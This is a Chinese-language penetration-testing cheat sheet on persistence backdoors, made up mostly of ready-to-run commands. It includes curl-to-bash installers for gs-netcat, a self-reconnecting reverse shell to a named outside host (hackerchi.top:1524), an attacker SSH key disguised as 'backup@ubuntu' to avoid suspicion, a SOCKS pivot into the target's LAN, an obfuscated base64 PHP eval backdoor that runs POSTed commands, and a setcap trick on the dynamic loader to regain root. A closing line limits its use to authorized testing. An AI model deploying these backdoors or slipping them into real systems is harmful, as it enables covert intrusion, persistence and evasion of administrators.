后门技术
❝
在渗透测试中,建立持久的后门是至关重要的,以便在需要时重新访问系统。以下是一些常用的后门技术
❞
1.gs-netcat 自动部署脚本
gs-netcat 工具提供了一个方便的自动部署脚本,可以快速建立反向 shell 连接。
使用方法:
bash
bash -c "$(curl -fsSLk <https://gsocket.io/y>)"
或者
bash
bash -c "$(wget --no-check-certificate -qO- <https://gsocket.io/y>)"
部署您自己的 gsocket 服务器:
bash
LOG=results.log bash -c "$(curl -fsSL <https://gsocket.io/ys>)" # 注意 '/ys' 而不是 '/y'
2. 后台反向 shell
这种后门会在后台持续尝试连接回攻击者的服务器,即使连接断开也会自动重连。
示例:
bash
setsid bash -c 'while :; do bash -i &>/dev/tcp/hackerchi.top/1524 0>&1; sleep 360; done' &>/dev/null
防止多个实例启动:
bash
fuser /dev/shm/.busy &>/dev/null || nohup /bin/bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/hackerchi.top/1524 0>&1 ; sleep 360; done' &>/dev/null &
3. 授权密钥
将攻击者的 SSH 公钥添加到目标系统的 /root/.ssh/authorized_keys 文件中,可以实现持久的后门访问。
提示: 将公钥文件末尾的名称更改为一些不起眼的名称,例如 backup@ubuntu 或管理员的真实姓名,以避免引起怀疑。
示例:
bash
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCktFkgm40GDkqYwJkNZVb+NLqYoUNSPVPLx0VDbJM0
[...]
u1i+MhhnCQxyBZbrWkFWyzEmmHjZdAZCK05FRXYZRI9yadmvo7QKtRmliqABMU9WGy210PTOLMltbt2C
c3zxLNse/xg0CC16elJpt7IqCFV19AqfHnK4YiXwVJ+M+PyAp/aEAujtHDHp backup@ubuntu
4. 远程访问整个网络
使用 gs-netcat 工具可以在目标主机的专用 LAN 上创建一个 SOCKS 出口节点,从而允许攻击者从外部访问内部网络。
示例:
bash
gs-netcat -l -S # 在目标主机上运行
gs-netcat -p 1080 # 在攻击者工作站上运行
# 从攻击者工作站访问目标主机 LAN 上的 route.local:22
socat - "SOCKS4a:127.1:route.local:22"
其他方法:
- Gost/Cloudflared: 使用 Cloudflare Tunnel 建立 TCP 隧道。
- 反向 Wireguard: 使用 Wireguard 建立反向连接,从 segfault.net[1] 访问内部网络。
5. 最小的 PHP 后门
将以下代码添加到任何 PHP 文件的开头,即可创建一个简单的后门:
php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
测试:
bash
### 启动测试 PHP 服务器
cd /var/www/html && php -S 127.0.0.1:8080
### 不执行命令
curl <http://127.0.0.1:8080/test.php>
### 执行命令
curl <http://127.0.0.1:8080/test.php> -d 0="ps fax; uname -mrs; id"
6. 本地根后门
一旦获得 root 权限,可以使用以下方法保持 root 状态:
执行以下命令:
bash
setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
成为 root 用户:
bash
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
请注意,后门技术应仅用于合法的渗透测试和安全评估目的。未经授权使用后门是非法的,并可能导致严重后果。